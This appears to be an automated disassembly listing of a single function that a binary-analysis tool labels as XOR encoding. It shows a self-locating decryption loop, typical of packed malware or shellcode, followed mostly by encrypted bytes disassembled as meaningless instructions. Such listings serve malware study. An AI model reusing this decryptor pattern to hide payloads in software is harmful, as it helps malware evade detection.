Function at 0xd31f54
Capabilities:
Encode data using xor

Disassembly:
invalid
salc
lodsb al, byte [esi]
jl 0xd31eee
xor eax, 0x7972cf1e
mov dword [0xc2351ee], ecx
adc ah, bh
jmp 0xd31f5e
pushal
call 0xd31f64
pop ebp
sub ebp, 0x10
sub ebp, 0x931f54
jmp 0xd31f7a
mov eax, 0x931f54
add eax, ebp
add eax, 0x4c
mov ecx, 0x5f3
xchg ebx, eax
add byte [ebx], al
lds eax, [ecx + 0x4cc0]
dec esp
add byte [eax], al
add byte [ecx + 0x5f3], bh
mov edx, 0x5c951173
xor byte [eax], dl
inc eax
dec ecx
jne 0xd31f91
jmp 0xd31fa4
clc
mov esi, 0x734ffaf8
jae 0xd3201f
mov dl, 0x8b
jae 0xd32024
jae 0xd32023
mov esi, 0x737375cb
jae 0xd31f83
pop ebx
jae 0xd32030
jae 0xd31f43
xchg ecx, eax
jo 0xd31f7d
clc
bnd jg 0xd32039
jae 0xd3203b
jo 0xd31f80
invalid
push edi
sbb edx, dword [edi - 0x3b]
insb byte es:[edi], dx
jae 0xd31ff9
inc ebx
sbb al, byte [eax]
jae 0xd32055
pop edi
push edi
sbb edx, eax
jg 0xd3204c
sar byte [edi + 0x63], 1
invalid
cli
pop edi
push edi
daa
clc
idiv byte [ebx + 0x73]
jae 0xd32076
jae 0xd31ffc
clc
out 0x7f, al
jae 0xd3207b
jae 0xd32002
invalid
pop edi
push edi
invalid
push edi
ja 0xd31fd7
jg 0xd3209b
clc
call dword [edi + 0x77]
jae 0xd320a1
jae 0xd3204b
push edi
lds ebp, [ebx + esi*2 + 0x1b]
inc ebx
sbb al, byte [eax]
jae 0xd320ac
jb 0xd3209a
pop edi
push edi
invalid
jae 0xd320c0
jae 0xd3204c
invalid
pop ss
push edi
invalid
mov word cs:[esi], es
jg 0xd31fe6
push es
jnp 0xd31ff8
or esi, dword [ebx + 0x73]
jae 0xd3205a
into
jnp 0xd320d8
jae 0xd320da
inc eax
mov edx, 0x223981f2
in al, dx
sub dh, dl
cmp dword [ecx], 0x402aec22
sub al, byte [eax - 0x5f]
invalid
inc eax
mov eax, dword [0x3b769bf0]
jl 0xd32074
cmp eax, 0x7c737373
sti
cmp esi, dword [ebx + 0x73]
jae 0xd3209d
clc
outsd dx, dword [esi]
dec edx
mov byte [ebx + 0x7369f77c], bl
jae 0xd32107
mov byte [edx + 0x7362f77c], bl
jae 0xd3210f
jae 0xd32110
jae 0xd320b3
adc eax, 0x568c88f2
mov byte [esi + edx*2 + 0x7366f77c], cl
mov word [esi + 0x7c], ss
push esi
jl 0xd3209b
mul dword [esi + 0x73]
jae 0xd3211a
jae 0xd3211b
jae 0xd320db
xor bl, byte [edx - 0x73737341]
pop edx
aas
lcall 0x3f5a, 0x8c8c8cbf
mov word [edx + ebx*2 - 0xf8db5c1], cs
dec edx
jb 0xd320a3
invalid
mov dl, 0x76
invalid
jno 0xd320b2
invalid
mov dl, 0x75
invalid
jae 0xd32100
clc
lahf
and eax, 0x6f82624
and al, 0x26
clc
push es
jg 0xd320db
push cs
jnp 0xd32075
pop ecx
stc
sal ebx, 0xf9
jne 0xd320dd
mov ch, 0x72
mov ch, 0x72
jb 0xd32161
jae 0xd32162
jae 0xd32163
jae 0xd320ec
sti
je 0xd320e5
mov ah, 0x72
jae 0xd3216a
jae 0xd320c1
jno 0xd3216e
jae 0xd32170
jae 0xd3216f
jno 0xd320a0
mov eax, dword [0x7376f67c]
jl 0xd320f7
div byte [esi + 0x73]
jbe 0xd32176
jae 0xd32178
stc
xor eax, 0xf07ca161
xor eax, 0xf07ca161
popal
mov eax, dword [0x8cabf07c]
mov word [ecx + esi*2 + 0x76f67ca1], cs
jae 0xd3218a
jl 0xd320fc
stosd dword es:[edi], eax
mov word [esp + ecx*4 - 0x9835e8f], cs
invalid
jno 0xd320b3
jl 0xd3210a
jbe 0xd32189
jae 0xd3218b
jae 0xd32112
stc
xor eax, 0xf07ca161
xor eax, 0xf07ca161
popal
mov eax, dword [0x7319f07c]
jae 0xd32196
sbb dword [ebx + 0x73], esi
jae 0xd32164
inc eax
mov bl, 0x71
mov eax, dword [0x7376f67c]
jae 0xd321a0
stc
xor eax, 0xf07ca161
pop ecx
jb 0xd321aa
jae 0xd321aa
mov eax, dword [0x7376f67c]
jae 0xd321b3
stc
xor eax, 0xb360a161
jno 0xd320ea
mov eax, dword [0xa171b360]
jl 0xd32141
jbe 0xd321c0
jae 0xd321c2
stc
xor eax, 0xb360a161
jno 0xd320f9
jl 0xd32150
jbe 0xd321cf
jae 0xd321d1
stc
xor eax, 0xb360a161
jno 0xd32108
popal
mov eax, dword [0xa171b360]
pushal
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0xd3215f
jbe 0xd321de
jae 0xd321df
jae 0xd321e0
jae 0xd32167
stc
xor eax, 0xb360a161
xor eax, 0xb360a161
popal
mov eax, dword [0xf77cb360]
jl 0xd3216d
jne 0xd321eb
jae 0xd321ed
clc
lodsb al, byte [esi]
pop eax
stosd dword es:[edi], eax
stc
jo 0xd3217c
je 0xd321b7
enter 0x7371, 0x73
jae 0xd32123
add ecx, dword [esp + ecx*4 + 0x7372cb8c]
mov word [esp + ecx*4 + 0x737372cb], cs
jae 0xd32204
mov word [ebx + ecx*8 + 0x73737372], cs
mov ebx, cs
jb 0xd32203
jae 0xd32205
jno 0xd32135
mov eax, dword [0x7376f67c]
jl 0xd3218c
jbe 0xd3220b
jae 0xd3220d
stc
xor eax, 0xb360a161
jno 0xd32144
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0xd3219b
jbe 0xd3221a
jae 0xd3221b
jae 0xd3221c
jae 0xd321a3
stc
xor eax, 0xf17ca161
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x72c8b058], cs
jae 0xd3222d
mov word [eax - 0x50], ds
enter 0x7372, 0x73
mov al, 0xc8
jb 0xd3222c
jae 0xd3222e
jae 0xd32238
jl 0xd321b3
test byte [edi + 0x73], 0x73
inc edi
jae 0xd32233
jae 0xd3218c
jb 0xd32237
jae 0xd32239
jno 0xd32169
jl 0xd321c0
jbe 0xd3223f
jae 0xd32241
stc
xor eax, 0xba60a161
jno 0xd32178
popal
mov eax, dword [0xa171ba60]
jl 0xd321cf
jbe 0xd3224e
jae 0xd32250
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
popal
mov eax, dword [0x8cadf17c]
mov word [ebp - 0x79a77b08], cs
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x5884f825], cs
pop eax
xchg byte [eax + 0x7b9a2dd7], al
mov word [esp + ecx*4 + 0x7b93b23b], cs
stc
adc bh, 0x2d
lcall 0xb23b, 0x8c8c8c7b
xchg ebx, eax
jnp 0xd321f3
mov word [ebx + edi - 0x6846c4e], cs
jne 0xd32231
clc
wait
retf 0x7372
jno 0xd321a6
mov eax, dword [0x7376f67c]
jl 0xd321fd
jbe 0xd3227c
jae 0xd3227e
stc
xor eax, 0xba60a161
xor eax, 0xba60a161
jno 0xd321b5
jl 0xd3220c
jbe 0xd3228b
jae 0xd3228d
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
mov eax, dword [0x8cadf17c]
mov word [edx + esi*8 + 0x730e738b], cs
int1
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0xe738bf2], cs
jae 0xd3229e
jae 0xd3221e
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 + 0x738bf28c], cs
jbe 0xd322a9
mov word [esp + ecx*4 + 0x76738bf2], cs
mov esi, dword [ebx + 0x76]
jae 0xd322ab
jae 0xd322aa
jae 0xd3222a
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 - 0xc740d74], cs
jae 0xd322b5
jae 0xd322b5
jae 0xd322b6
jae 0xd32236
mov byte [0x73737373], al
mov byte [0x73737373], al
mov esi, ebx
jae 0xd322c1
jae 0xd32242
mov byte [0x73737373], al
and eax, 0x835884f8
adc bh, 0x2d
lcall 0x75f9, 0x8c8c8de8
xor eax, 0x9bb3ba40
jb 0xd322e7
jne 0xd3229a
inc eax
mov edx, 0x7c729bb3
imul dword [ecx + 0x73]
jae 0xd322e3
imul esi, dword [ebx + 0x73], 0x71a2f273
jae 0xd322e8
jae 0xd32263
mov byte [0x73737371], al
mov byte [0x73737371], al
jae 0xd3226f
clc
wait
and eax, 0x835884f8
adc bh, 0x2d
enter 0x7372, 0x73
add dword [eax + 0x72c82dd7], 0x73
xlatb
sub eax, 0x737372c8
jb 0xd322f6
jae 0xd322f8
jae 0xd32220
lcall 0x582e, 0x8c8c8d00
add byte [ebp + 0x582e8c8c], cl
lea ecx, [esp + ecx*4 + 0x7b0e582e]
clc
pop eax
push cs
jnp 0xd32287
mov ah, 0x2c
sub eax, 0xb12e96f8
jnp 0xd3230b
clc
dec edi
push edi
invalid
ja 0xd322cd
lcall 0x4d9, 0x73737377
or ch, byte [edx]
retf
daa
insb byte es:[edi], dx
loopne 0xd32321
jo 0xd32266
mov bl, 8
jo 0xd32328
jae 0xd32281
retf 0x71b7
mov bh, 0x71
jae 0xd3232e
leave
retf
arpl word [ebx], si
cmp bh, byte [esi + esi*8 - 0x7b]
mov word [esp + ecx*4 + 0x7373779a], cs
jae 0xd3226c
jae 0xd32342
pushfd
dec ecx
mov al, byte [0x4c354cbd]
cmp al, 0x40
mov esp, 0x403c4cf7
cmp al, 0x40
ja 0xd322db
imul ecx, ebx, 0xffffffcb
retf
enter 0x4035, 0x15
pop ebp
inc eax
mov ebx, 0x4f405df7
sti
dec ebx
retf
xor dword [eax - 0x4f], eax
retf
mov cl, 0xcb
dec esp
xor dword [edx + esi + 0x40], ecx
mov dl, 0xcf
dec esp
xor cl, byte [edx + 0x31]
retf
invalid
retf
xor al, 0xad
inc eax
int3
invalid
sub esi, dword [esp + eax*8]
retf